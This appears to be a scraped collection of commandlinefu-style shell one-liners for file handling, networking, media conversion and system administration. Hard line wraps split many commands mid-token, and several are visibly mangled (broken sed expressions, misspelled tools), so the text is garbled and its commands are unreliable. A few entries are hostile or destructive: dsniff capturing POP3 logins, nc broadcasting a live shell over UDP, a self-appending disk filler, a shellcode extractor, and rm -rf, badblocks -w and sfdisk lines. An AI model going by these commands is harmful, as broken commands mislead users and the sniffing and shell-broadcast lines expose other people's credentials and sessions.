find directory -maxdepth 1 -type f | xargs ls -l | awk 'BEGIN { SUM=0} { SUM+=$
5 } END { print SUM/2^20 }'

# Get your IP addresses
{ if (/^[A-Za-z0-9]/) { interface=$1; next } else { if (/inet [Aa][d]*r/) { spli
t($2,ip,":") } else { next } } print interface"\t: "ip[2] }

# diff the same file in two directories.
diff {$path1,$path2}/file_to_diff

# Update all ant packages installed in gentoo
emerge -q1 $(eix -C dev-java -I --upgrade+ --only-names ant)

# Remove embedded fonts from a pdf.
gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf
- > No-Fonts.pdf

# Solaris get PID socket
pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{pr
int proc $0}'

# grep (or anything else) many files with multiprocessor power
find . -type f | parallel -j+0 grep -i foobar

# Quick and Temporary Named Commands
svn up -r PREV # revert

# Reducing image size
convert example.png -resize 100x100! output.png

```

```

# Run a command for blocks of output of another command
tail -f /var/log/messages | while read line; do accu="$line"; while read -t 1 more; do accu=`echo -e "$accu\n$more"`; done; notify-send "Syslog" "$accu"; done

# Mute speakers after an hour
sleep 3600; amixer set Master mute

# Find public IP when behind a random router (also see description)
alias pubip='GET http://www.whatismyip.com/automation/n09230945.asp && echo'

# Copy data using gtar
gtar cpf - . | (cd /dest/directory; gtar xpf -)

# Rename duplicates from MusicBrainz Picard
for i in */*/*\(1\)*; do mv -f "$i" "${i/ (1)}"; done

# statistics in one line
perl -MStatistics::Descriptive -alne 'my $stat = Statistics::Descriptive::Full->new; $stat->add_data(@F[1..4]); print $stat->variance' filename

# find an unused unprivileged TCP port
netstat -atn | perl -0777 -ne '@ports = /tcp.*?\:(\d+)\s+/img; for $port (32768..61000) {if(!grep(/^$port$/, @ports)) { print $port; last } }'

# Kill a process by its partial name
pkill name

# Find out which process uses an old lib and needs a restart after a system update
lsdf | grep 'DEL.*lib' | sort -k1,1 -u

# Cut the first 'N' characters of a line
cut -c 1-N

# tunnel vnc port
ssh -L 5900:localhost:5900 user@exampleserver.com

# Get your external IP address if your machine has a DNS entry
curl www.whatismyip.com/automation/n09230945.asp

# calculate the total size of files in specified directory (in Megabytes)
du -sm $dirname

# Debug your makefile
make -d | egrep --color -i '(considering|older|newer|remake)'

# search for a file in PATH
which <filename>

# Print a list of the 30 last modified mp3s sorted by last first
find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@%t%p\n" | sort -f -r | head -n 30 | cut -f 2

# monitor your CPU core temperatures in real time
while :; do sensors|grep ^Core|while read x; do printf '%.23s\n' "$x"; done; sleep 1 && clear; done;

# crop google's icons
convert -crop 32x33 +repage http://code.google.com/more/more-sprite.png icon.png

```

```

# FLV to AVI with subtitles and forcing audio sync using mencoder
mencoder -sub subs.ssa -utf8 -subfont-text-scale 4 -oac mp3lame -lameopts cbr=12
8 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -o output.avi input.flv

# Convert from a decimal number to a binary number
echo 'ibase=10; obase=2; 127' | bc

# Make the Mac OS X Dock 2D once more (10.5 and above only)
defaults write com.apple.Dock no-glass -boolean YES; killall Dock

# find only current directory (universal)
find . \( ! -name . -prune \) \( -type f -o -type l \)

# print contents of file from first match of regex to end of file
sed -n '/regex/, $p' filename

# move cursor to beginning of command line
Ctrl+a

# Use QuickLook from the command line without verbose output
qllook() { qlmanage -p "$@" >& /dev/null & }

# Congratulations on new year
php -r 'function a(){$i=10;while($i--)echo str_repeat(" ",rand(1,79))."*".PHP_EOL;
}$i=99;while($i--){a();echo str_repeat(" ",34)."Happy New Year 2011".PHP_EOL;a
();usleep(200000);}'

# Erase CD RW
wodim -v dev=/dev/dvd -blank=fast

# Remove comments in XML file
xmlstarlet ed -d '//comment()' $XML_FILE

# Create a random file of a specific size
dd if=/dev/zero of=testfile.txt bs=1M count=10

# A command to copy mysql tables from a remote host to current host via ssh.
ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_n
ame_1 tbl_name_2 tbl_name_3 | gzip -c -' | gzip -dc - | mysql -u <localusername>
-p<localdbpassword> <localdbname>

# create a colorful &#30000; image
convert -size 32x32 \( xc:red xc:green +append \) \( xc:yellow xc:blue +append \
) -append output.png

# Erase DVD RW
dvd+rw-format /dev/dvd

# Generate a Random Password
dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | r
ev

# Convert every eps in a directory to pdf
for f in *.eps;do ps2pdf -dEPSCrop $f `basename $f .eps`.pdf; done

# Get ethX mac addresses
ip link | grep 'link/ether' | awk '{print $2}'

```

```

# Add line number count as C-style comments
awk '{printf("/* %02d */ %s\n", NR,$0)}' inputfile > outputfile

# List just the executable files (or directories) in current directory
ls -dF `find . -maxdepth 1 \( -perm -1 -o \( -perm -10 -o -perm -100 \) \) -print`

# get newest jpg picture in a folder
cp `ls -xltr *.jpg | tail -n 1` newest.jpg

# view certificate details
openssl x509 -in filename.crt -noout -text

# List of commands you use most often
history | awk '{a[$$(echo "1 2 $HISTTIMEFORMAT" | wc -w)]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head

# aptbackup restore
for p in `grep -v deinstall /var/mobile/Library/Preferences/aptbackup_dpkg-packages.txt | cut --fields=1`; do apt-get -y --force-yes install $p; done

# Bash alias for creating screen session containing IRSSI, named irssi, while checking if existing session is created
alias irssi="screen -wipe; screen -A -U -x -R -S irssi irssi"

# Cut the first 'N' characters of a line
cut -c -N

# Execute a file in vim with the #!/bin/interpreter in the first line
:exe getline(1)[1:] @%

# find large files
ls -s | sort -nr | more

# Show CPU usage for EACH cores
ps ax -L -o pid,tid,psr,pcpu,args | sort -nr -k4 | head -15 | cut -c 1-90

# Compute the numeric sum of a file
sed i"+" file.txt | xargs echo 0 |bc

# Removing images by size
for arq in *.png; do size=$(identify $arq | cut -f3 -d" "); [ $size == "280x190" ] || rm $arq ; done

# Create a git alias that will pull and fast-forward the current branch if there are no conflicts
git config --global --add alias.ff "pull --no-commit -v" ; git ff

# Get information about libraries currently installed on a system.
rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'|egrep 'compat|glibc|gcc|libst|binu'|sort

# Listen to a file
while true; do cat /usr/src/linux/kernel/signal.c > /dev/dsp; done

# ignore hidden directory in bash completion (e.g. .svn)
Add to ~/.inputrc: set match-hidden-files off

# remove OSX resource forks ._ files

```

dot_clean

```
# Colored status of running services
services() { printf "$(service --status-all 2>&1|sed -e 's/\[ + \]/\[\E\[\[42m\[ +
\]\[\E\[\[0m/g' -e 's/\[ - \]/\[\E\[\[41m\[ - \]\[\E\[\[0m/g' -e 's/\[ ? \]/\[\E\[\[43m\[ ?
\]\[\E\[\[0m/g')\n";}

# a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=''; for (( i=1; i<
=(COLUMNS + w) / $w; i=i+1 )); do str+=$s; done; str=${str:0:COLUMNS} ; echo $st
r; done; }

# Show the 1000*1000 and 1024*1024 size of HDs on system
awk '/d[a-z]+$/{'print $4}' /proc/partitions | xargs -i sudo hdparm -I /dev/{} |
grep 'device size with M'

# get header and footer of file for use with scalpel file carving
xxd -l 0x04 $file; xxd -s -0x04 $file

# Ease your directory exploration
tt(){tree -pFCfa . | grep "$1" | less -RgIKNs -P "H >>> "}

# add all files not under version control to repository
svn st | awk ' {if ( $1 == "?" ){print $1="",$0} } ' | sed -e 's/^[ \t]*//' | sed
's/ /\ \ /g' | xargs svn add

# Broadcast your shell thru UDP on port 5000
script -qf >(nc -ub 192.168.1.255 5000)

# Change gnome-shell wallpaper
gsettings set org.gnome.desktop.background picture-uri 'file://<path-to-image>'

# Set audible alarm when an IP address comes online
until ping -c1 ADDRESS;do true;done;zenity --warning --text "ADDRESS is back"

# Delete leading whitespace from the start of each line
sed 's/^[ \t]*//' input.txt

# Audible warning when a downloading is finished
while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp
3

# Write comments to your history.
comment() { echo "" > /dev/null; }

# Do a search-and-replace in a file after making a backup
sed -i.bak 's/old/new/g' file

# Top ten (or whatever) memory utilizing processes (with children aggregate) - C
an be done without the multi-dimensional array
ps axo rss,comm,pid | awk '{ proc_list[$2] += $1; } END { for (proc in proc_list
) { printf("%d\t%s\n", proc_list[proc],proc); }}' | sort -n | tail -n 10

# Download last file from index of
NAME=`wget --quiet URL -O - | grep util-vserver | tail -n 1 | sed 's|</a>.*||;s/
.*>/'`; wget URL$UTILVSERVER;

# Delete newline
tr -d "\n" < file1 > file2
```

```

# which procs have $PATH_REGEX open?
find /proc -regex '/proc/[0-9]+/smaps' -exec grep -l "$PATH_REGEX" {} \; | cut -d '/' -f2

# Adding formatting to an xml document for easier reading
xmllint --format <filename> > <output file>

# Picture Renamer
exiv2 rename *.jpg

# Build an exhaustive list of maildir folders for mutt
find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs

# Tells you where a command is in your $PATH, but also whether it's a link and to what.
ls -l `which foo`

# Bash: escape '-' character in filename
mv ./-filename filename

# Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivity
ping -q -c 1 www.google.com|tail -1|cut -d/ -f5

# Calculate sum of N numbers (Thanks to flatcap)
seq 100000 | paste -sd+ | bc

# GRUB2: Set Imperial Death March as startup tune
echo "GRUB_INIT_TUNE=\"480 440 4 440 4 440 4 349 3 523 1 440 4 349 3 523 1 440 8 659 4 659 4 659 4 698 3 523 1 415 4 349 3 523 1 440 8\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub

# Find the package a command belongs to on debian-based distros
whichpkg () { dpkg -S $1 | egrep -w $(readlink -f "$(which $1)"); }

# Make ls output better visible on dark terminals in bash
unalias ls

# list all crontabs for users
cut -d: -f1 /etc/passwd | grep -vE "#" | xargs -i{} crontab -u {} -l

# Override and update your locally modified files through cvs..
cvs update -C

# Check variable has been set
[ -z "$VAR" ] && echo "VAR has not been set" && exit 1

# ptree equivalent in HP-UX
UNIX95=1 ps -eHf

# Sort a character string
echo sortmeplease | perl -pe 'chomp; $_ = join "", sort split //'

# Short one line while loop that outputs parameterized content from one file to another
while read l; do echo ${l%% *}; done < three-column-list.txt > only-first-column.txt

# Check a server is up. If it isn't mail me.

```

```

nc -zw2 www.example.com 80 || echo http service is down | mail -s 'http is down'
  admin@example.com

# Calculate N!
seq 10 | paste -sd* | bc

# Generate a quick, lengthy password
head /dev/urandom | md5sum | base64

# Create a random password encrypted with md5 with custom length
echo -n $mypass | md5sum | awk {'print $1'}

# Validating a file with checksum
echo 'c84fa6b830e38ee8a551df61172d53d7  myfile' | md5sum -c

# Delete leading whitespace from the start of each line
sed 's/^\s*//' input.txt

# copy root to new device
mount /dev/root /mnt/root; rsync -avHX /mnt/root/ /mnt/target/

# Search for in which package the specified file is included.
/bin/rpm -qf /etc/passwd /etc/issue /etc/httpd/conf/httpd.conf

# Checks the syntax of all PHP files in and below the current working directory
find . -name "*.php" -exec php -l {} \; | sed -e "/^No syntax/d"

# Copy a file and force owner/group/mode
install -o user -g group -m 755 /path/to/file /path/to/dir/

# find large files
find . -type f -size +1100000k |xargs -I% du -sh %

# simple echo of IPv4 IP addresses assigned to a machine
ip addr | awk '/inet / {sub(/\/.*\/, "", $2); print $2}'

# Move mp3 files to another path with existing subtree structure
find . -iname "*.mp3" -type f -print0 | xargs -0 -I '{}' mv {} /new/path/to/mp3/
{}

# Simple list of apache2 virtualhosts
/usr/sbin/apache2ctl -S

# Show local/public IP addresses with or without interface argument using a shell
function for Linux and MacOSX
MyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?:r:)?\K(\d{1,3}\.){
3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; }

# Show git branches by date - useful for showing active branches
for k in `git branch|sed s/^\s*//`;do echo -e `git log -1 --pretty=format:"%Cgree
n%ci %Cblue%cr%Creset" "$k"``\t"$k";done|sort

# Command template, executing a command over multiple files, outputting progress
and fails only
find <dir> -name "<pattern>" | while read file; do echo -n .; output=$(<command>
) || (echo ; echo $file:; echo "$output"; ); done

# Use Dell Service Tag $1 to Find Machine Model [Model Name and Model Number]
curl -s $dellurl$1 | tr "\"" "\n" | grep "</td></tr><tr><td class=" -m 2 | grep

```

```

-v "Service Tag" | sed 's/>//g' | sed 's/<\/td<\/tr<tr<td class=//g'

# drill holes on image
convert -size 20x20 xc:white -fill black -draw "circle 10,10 14,14" miff:- | com
posite -tile - input.png -compose over miff:- | composite - input.png -compose c
opyopacity output.png

# Show one line summaries of all DEB packages installed on Ubuntu based on patte
rn search
dpkg --get-Conflicts | grep '^ii'

# Scan a gz file for non-printable characters and display each line number and l
ine that contains them.
zcat a_big_file.gz | sed -ne "${zcat a_big_file.gz | tr -d "[:print:]" | cat -n
| grep -vP "^ *\d+\t$" | cut -f 1 | sed -e "s/\([0-9]\+\)/\1=;\1p;/" | xargs) " |
tr -c "[:print:]\n" "?"

# erase content from a cdrw
cdrecord -v -blank=all -force

# Delete a file/directory walking subdirectories (bash4 or zsh)
shopt -s globstar ; rm -f **/cscope.out

# Pick a random line from a file
perl -e 'rand($.) < 1 && ($line = $_) while <>';

# Force the script to be started as root
if [ $EUID -ne 0 ];then if [ -t $DISPLAY ]; then sudo $0 "$*"; exit; else xdg-s
u -c "$0 $*"; exit;fi;fi

# Watch movies in your terminal
mplayer -vo caca MovieName.avi

# Fill up disk space (for testing)
tail $0 >> $0

# Print a row of 50 hyphens
ruby -e 'puts "-" * 50'

# Geolocate a given IP address
geoplookup <ipadress>

# memory usage
ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS

# simple port check command
parallel 'nc -z -v {1} {2}' ::: 192.168.1.10 192.168.1.11 ::: 80 25 110

# Fix borked character coding in a tty.
LC_ALL=C man -c man

# Pretty Print a simple csv in the command line
python -c 'import sys, csv; c = csv.reader(sys.stdin); [sys.stdout.write("^M".joi
n(map(repr,r))+"\n") for r in c];' <tmp/test.csv | column -s '^M' -t

# Search apache virtual host by pattern
sed -n '/^[^#]*<Virtual/{:1 N; /<\/Virtual/!bl;}; /PATTERN/p' vhosts.conf

# Selecting a random file/folder of a folder

```



```

ls -l | shuf -n 1

# Create a bash script from last n commands
history | tail -(n+1) | head -(n) | sed 's/^[0-9 ]\{7\}//' >> ~/script.sh

# Name a backup/archive file based on current date and time
archivefile=filename-$(date +%Y%m%d-%H%M).tar.gz

# Testing php configuration
php -r "phpinfo\(\);"

# Pretty man pages under X
vman(){ T=/tmp/$$pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; }

# diff 2 remote files
diff <(ssh user@host1 cat /path/to/file) <(ssh user@host2 cat /path/to/file2)

# Clear current session history (bash)
history -c

# Watch the disk fill up with change highlighting
watch -d -n 5 df

# SVN Clean
svn status | grep ^? | awk '{print $2}' | xargs rm -rf

# Backup with SSH in a archive
ssh -i $PRIVATEKEY $HOST -C 'cd $SOURCE; tar -cz --numeric-owner .' | tee $DESTINATION/backup.tgz | tar -tz

# Easily decode unix-time (function)
utime(){ perl -e "print localtime($1).\"\\n\"";}

# Ruby - nslookup against a list of IP`s or FQDN`s
while read n; do host $n; done < list

# How to speedup the Ethernet device
sudo ethtool -s eth0 speed 100 duplex full

# Signals list by NUMBER and NAME
i=0;for s in `fuser -l`;do echo $((i++)) $s;done

# Retrieve the size of a file on a server
curl -s "$URL" |wc -c

# Get line count for any file ending with extension recursively rooted at the current directory.
find . -name "*.py" | xargs wc -l

# Sum columns from CSV column $COL
perl -F',' -ane '$a += $F[3]; END { print $a }' test.csv

# Recursively replace a string in files with lines matching string
find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' %

# convert flac to mp3
flac -cd input.flac |lame -h - output.mp3

# backup system over ssh, exclude common dirs
ssh root@192.168.0.1 "cd /;nice -n 10 tar cvpP ?exclude={"/proc/*","/sys*","/tmp

```

```

/*", "/home/user/*"} /">backup.tar.gz

# Extract all 404 errors from your apache accesslog (prefix lines by occurrences
number)
grep "HTTP/1.1\" 404" access_log | awk '{print $7 } ' | sort | uniq -c | sort -n

# Recursive Ownership Change
chown -cR --from=olduser:oldgroup newuser:newgroup *

# For Gentoo users : helping with USE / emerge
emerge -epv world | grep USE | cut -d '"' -f 2 | sed 's/ /\n/g' | sed '/[(,)]/d'
| sed s/'*'//g | sort | uniq > use && grep ^- use | sed s/^-/ / | sed ':a;N;${!ba
;s/\n/ /g' > notuse && sed -i /^-/d use && sed -i ':a;N;${!ba;s/\n/ /g' use

# search string in _all_ revisions
for i in `git log --all --oneline --format=%h`; do git grep SOME_STRING $i; done

# Incase you miss the famous 'C:\>' prompt
export PS1='C:${PWD//\//\\}>'

# Terminal - Show directories in the PATH, one per line with sed and bash3.X `he
re string'
sed 's:/\n/g' <<<SPATH

# Search trough pidgin's conversation logs for "searchterm", and output the res
ult.
grep -Ri searchterm ~/.purple/logs/* | sed -e 's/<.*?>/g'

# move contents of the current directory to the parent directory, then remove cu
rrent directory.
find . ! -name "." -print0 | xargs -0 -I '{}' mv -n '{}' ../; rmdir "$PWD"

# Check the reserved block percentage of an Ext2/3 filesystem
dumpe2fs -h /dev/sda1 2> /dev/null | awk -F ':' '{ if($1 == "Reserved block coun
t") { rescnt=$2 } } { if($1 == "Block count") { blkcnt=$2 } } END { print "Reser
ved blocks: "(rescnt/blkcnt)*100%" }'

# How to estimate the storage size of all files not named *.*[extension] on the c
urrent directory
find . -maxdepth 1 -type f -not -iname '*.jpg' -ls |awk '{TOTAL+=$7} END {print
int(TOTAL/(1024^2))"MB"}'

# Validate openssh key & print checksum
ssh-keygen -l -f [pubkey] | awk '{print $2}' | tr -ds ':' ' ' | egrep -ie "[a-f0-
9]{32}"

# Rsync between two servers
rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destinati
on/

# convert a pdf to jpeg
sips -s format jpeg Bild.pdf --out Bild.jpg

# Salvage a borked terminal
echo <ctrl+v><ctrl+o><enter>

# Keep a close eye on a backgrounded job
lsof -p$!

```

```

# Remove all .svn folders
find . -name .svn -type d |xargs rm -rf

# Check if a package is installed. If it is, the version number will be shown.
dpkg -l python

# Cropping a video file in ffmpeg
ffmpeg -i inputfile.avi -croptop 88 -cropbottom 88 -cropleft 360 -cropright 360
outputfile.avi

# Show UDID of iPhone
lsusb -s :`lsusb | grep iPhone | cut -d ' ' -f 4 | sed 's:///'` -v | grep iSerial
| awk '{print $3}'

# Record camera's output to a avi file
mencoder -tv device=/dev/video1 tv:// -ovc copy -o video.avi

# Get current Xorg resolution via xrandr
xrandr -q|sed -n 's/.*current[ ]\([0-9]*\) x \([0-9]*\),.*/\1x\2/p'

# Fetch the Gateway Ip Address
netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}'

# How to get an absolute value
abs_value=-1234; echo ${abs_value#-}

# Get IP from host
getent hosts positon.org | cut -d' ' -f1

# search for text in files. recursive.
find /name/of/dir/ -name '*.txt' | xargs grep 'text I am searching for'

# Remove apps with style: nuke it from orbit
function nuke() { if [ $(whoami) != "root" ] ; then for x in $@; do sudo apt-get
autoremove --purge $x; done; else for x in $@; do apt-get autoremove --purge $x
; done; fi }

# Encode a file to MPEG4 format
mencoder video.avi lavc -lavcopts vcodec=mpeg4:vbitrate=800 newvideo.avi

# Remove sound from video file using mencoder
mencoder -ovc copy -nosound input.avi -o output.avi

# Create a tar file with the current date in the name.
tar cfz backup-`date +%F`.tgz somedirs

# RTFM function
rtfm() { help $@ || $@ -h || $@ --help || man $@ || $BROWSER "http://www.google.
com/search?q=$@"; }

# svn diff colored
svn diff --diff-cmd="colordiff"

# Stream YouTube URL directly to mplayer.
mplayer -fs -cookies -cookies-file /tmp/cookie.txt $(youtube-dl -g --cookies /tm
p/cookie.txt "http://www.youtube.com/watch?v=PTOSvEX-YeY")

# Easily run a program in the background without losing output
function fork () { tf=$(tempfile -d /tmp -p $1.);echo -n "$tf "; $@ &>$tf& }

```

```

# Substitute audio track of video file using mencoder
mencoder -ovc copy -audiofile input.mp3 -oac copy input.avi -o output.avi

# Check if variable is a number
if [ "$testnum" -eq "$testnum" 2>/dev/null ]; then echo It is numeric; fi

# Prints line numbers
grep -n "^" <filename>

# Get all shellcode on binary file from objdump
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '
|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d ' ' -s |sed 's/^"/'
'|sed 's/$/"g'

# Get movie length
mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LEN
GTH/{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); print H":"M":"S}'

# Probably, most frequent use of diff
diff -Naur --strip-trailing-cr

# list all file extensions in a directory
find /path/to/dir -type f | grep -o '\.[^./]*$' | sort | uniq

# Export a subset of a database
mysqldump --where="true LIMIT X" databasename > output.sql

# set prompt and terminal title to display hostname, user ID and pwd
export PS1='\[\e]0;\h \u \w\a\]\n\[\e[0;34m\]\u@\h \[\e[33m\]\w\[\e[0;32m\]\n\$
'

# Set Time Zone in Ubuntu
sudo dpkg-reconfigure tzdata

# Delete Empty Directories
find . -type d -exec rmdir {} \;

# Remove all files but one starting with a letter(s)
rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*

# Download streaming video in mms
mimms mms://Your_url.wmv

# Run a command, redirecting output to a file, then edit the file with vim.
vimcmd() { $1 > $2 && vim $2; }

# Monitor connection statistics with netstat and watch
watch -n 1 "netstat -ntu | sed '1,2d' | awk '{ print \$6 }' | sort | uniq -c | s
ort -k 2"

# Unrar multiple directories into current working directory
for x in */*.rar; do unrar x $x; done

# Resize all JPEGs in a directory
mogrify -resize 1024 *.jpg

# Mortality Countdown
while [ 0 ]; do expr 2365200000 \- `date +%s` \- `date --date "YYYY-mm-dd HH:MM:
ss" +%s`; sleep 1; clear; done

```

```

# convert a,b,c to ('a','b','c') for use in SQL in-clauses
echo a,b,c | sed -e s/,/\',\'/g -e s/^\(\\'/ -e s/\$\'\\)/

# Monitoring sessions that arrive at your server
watch -n 1 -d "finger"

# list all file extensions in a directory
find /path/to/dir -type f -name '*.*' | sed 's@.*/*.*\.\@.@' | sort | uniq

# Type strait into a file from the terminal.
cat /dev/tty > FILE

# most used unix commands
cut -d\ -f 1 ~/.bash_history | sort | uniq -c | sort -rn | head -n 10 | sed '
s/.*/ &/g'

# Happy New Year!
perl -e 'print for(map{chr(hex)}("4861707079204E6577205965617221"=~/(.2)/g)),"
\n";'

# Remove executable bit from all files in the current directory recursively, exc
luding other directories
find . ! -type d -exec chmod -x {} \;

# Every Nth line position # (SED)
sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo > foo_
every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3

# make, or run a script, everytime a file in a directory is modified
while inotifywait -r -e MODIFY dir/; do make; done;

# Squish repeated delimiters into one
echo "hello:::there" | tr -s ':'

# Fix the vi zsh bindings on ubuntu
sudo sed -i.orig '/\(\up\|down\)/s/^\#/' /etc/zsh/zshrc

# phpdoc shortcut
gophtdoc() { if [ $# -lt 2 ]; then echo $0 '< file > < title > [ pdf ]'; return;
fi; if [ "$3" == 'pdf' ]; then ot=PDF:default:default; else ot=HTML:frames:eat
hli; fi; phpdoc -o $ot -f "$1" -t docs -ti "$2" }

# Prevent an IPv6 address on an interface from being used as source address of p
ackets.
ip addr change 2001:db8:1:2::ab dev eth0 preferred_lft 0

# sync two folders except hidden files
rsync -vau --exclude='.*' SOURCE-PATH/myfold TARGET-PATH

# Generate random IP addresses
nmap -n -iR 0 -sL | cut -d" " -f 2

# One liner to kill a process when knowing only the port where the process is ru
nning
kill -9 `lsof -t -i :port_number`

# Calculate N!
echo $(( $(seq -s* 10) ))

```

```

# VIM: when Ctrl-D and Ctrl-U only scroll one line, reset to default
:set scroll=0

# check the status of 'dd' in progress
while killall -USR1 dd; do sleep 5; done

# count of files from each subfolder
for i in `find /home/ -maxdepth 1 -type d`; do echo -n $i " ";find $i|wc -l; do
ne

# Convert ascii string to hex
echo -n 'text' | xxd -ps | sed -e ':a' -e 's/\([0-9]\{2\}\|^\)\([0-9]\{2\}\|\\1\
\x\2/;ta'

# clear all non-ascii chars of file.txt
iconv -c -f utf-8 -t ascii file.txt

# Hiding and Show files on Mac OS X
setfile -a V foo.bar; setfile -a v foo.bar;

# Directory Tree
find . -type d -print | sed -e 's;[^\/*];.....;g'|awk '{print $0-"("NR-1)"
}'

# Sort movies by length, longest first
for i in *.avi; do echo -n "$i:";totem-gstreamer-video-indexer $i | grep DURATIO
N | cut -d "=" -f 2 ; done | sort -t: -k2 -r

# Find all files <10MB and sum up their size
i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$((i + $f));
done; echo $i

# copy partition table from /dev/sda to /dev/sdb
sfdisk -d /dev/sda | sfdisk /dev/sdb

# Email an svn dump
(svnadmin dump /path/to/repo | gzip --best > /tmp/svn-backup.gz) 2>&1 | mutt -s
"SVN backup `date +%m/%d/%Y`" -a /tmp/svn-backup.gz emailaddress

# Display laptop battery information
acpi -V

# relabel current konsole tab
alias rk='d=$(dcop|grep $PPID) && s=$(dcop $d konsole currentSession) && dcop $d
$s renameSession'

# Use find to get around Argument list too long problem
find . -name 'junkfiles-*' -print0 | xargs -0 rm

# command line fu roulette
wget -qO - www.commandlinefu.com/commands/random | grep "<div class=\"command\">
" | sed 's/<[^>]*>//g; s/^[ \t]*//; s/"/"/g; s/&lt;/</g; s/&gt;/>/g; s/&
;/\&/g'

# Replicate a directory structure dropping the files
find . -type d -print0 | (cd $DESTDIR; xargs -0 mkdir)

# Find files in multiple TAR files

```

```

find . -type f -name "*.tar" -printf [%f]\\n -exec tar -tf {} \; | grep -iE "[\|
]|<filename>"

# In-Place search/replace with datestamped backup
sed -i.`date +%Y%m%d` -e 's/pattern/replace' [filename]

# Another way to see the network interfaces
ip addr show

# Directory Tree
tree -d

# Convert GoogleCL gmail contacts to cone adress book
google contacts list name,name,email|perl -pne 's%^(?!N\A)(.+?),((?!N\A)(.+?
)),([a-z0-9\._-]+\@[([a-z0-9][a-z0-9-]*[a-z0-9]\.)([a-z]+\.)?([a-z]+)%${1}:${3}
<${5}>%imx' #see below for full command

# Summarize size of all files of given type in all subdirectories (in bytes)
find . -iname '*.jpg' -type f -print0 |perl -0 -ne '$a+--s $_;END{print "$a\n"}'

# Pascal's triangle
l=10;for((i=0;i<$l;i++));do eval "a$i=( $(pv=1;v=1;for((j=0;j<$l;j++));do [ $i -e
q 0 -o $j -eq 0 ]&&{ v=1 && pv=1; }||v=$(pv+a$((i-1))[$((j))]);echo -n "$v ";p
v=$v;done;);";eval "echo \"\${a$i[@]}\\"";done | column -t;

# Suppress output of loud commands you don't want to hear from
function quietly () { $* 2> /dev/null > /dev/null; };

# View a colorful logfile using less
< /var/log/syslog ccze -A | less -R

# Check whether laptop is running on battery or cable
cat /proc/acpi/ac_adapter/ACAD/state

# command line Google I'm Feeling Lucky
lucky(){ url=$(echo "http://www.google.com/search?hl=en&q=${@}&btnI=I%27m+Feeling+
Lucky&aq=f&oq=" | sed 's/ /+/g'); lynx $url; }; lucky "Emperor Norton"

# Sniff ONLY POP3 authentication by intercepting the USER command
dsniff -i any 'tcp port pop3'

# check the fucking weather
ZIP=48104; curl http://thefuckingweather.com/?zipcode=$ZIP 2>/dev/null|grep -A1
'div class="large"'|tr '\n' ' '|sed 's/^.*"large" >\(..\)/\1/;s/&d.* <br \/>/ -
/s/<br \/>/;/s/</div.*$//'

# Quickly batch resize images
mogrify -geometry 800x600 *.jpg

# Get an authorization code from Google
curl -s https://www.google.com/accounts/ClientLogin -d Email=$email -d Passwd=$p
assword -d service=lh2 | grep Auth | sed 's/Auth=\(..\)/\1/'

# find co-ordinates of a location
findlocation() { place=`echo $* | sed 's/ /%20/g` ; curl -s "http://maps.google
.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates
" | sed -e 's/^ *//' -e 's//g' -e 's/address/Full Address/';}

# SVN script for automatically adding and deleting files
svn status | grep '^?' | sed -e 's/^? */svn add "/g' -e 's/$/"/g'|sh ; svn statu

```

```

s | grep '^!' | sed -e 's/^! */svn delete "/g' -e 's/$/" /g'|sh

# Show recent earthquakes in Bay Area
lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.
htm'|sed -ne '/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map
/, $d;/^$/d;/^[ \t][ \t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr

# Show DeviceMapper names for LVM Volumes (to disambiguate iostat logs, etc)
sudo lvdisplay |awk '/LV Name/{blockdev=$3} /Block device/{bdid=$3; sub("[0-9]*:
","dm-",bdid); print bdid,blockdev;}'

# put current directory in LAN quickly
python3 -m http.server

# [git] Output remote origin from within a local repository
git config --local --get remote.origin.url

# Show device drivers and their properties (Windows XP)
driverquery /si /fo table

# Find and copy scattered mp3 files into one directory
find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-c
opy {} +

# Check your hard drive for bad blocks (destructive)
badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks
.stdout 2> /tmp/badblocks.stderr

# set a reminder for 5 days in the future
echo "DISPLAY=$DISPLAY xmessage setup suphp perms htscanner acct#101101 host2.do
main.com" | at 23:00 Feb 8

# increase recursively the modification time for a list of files
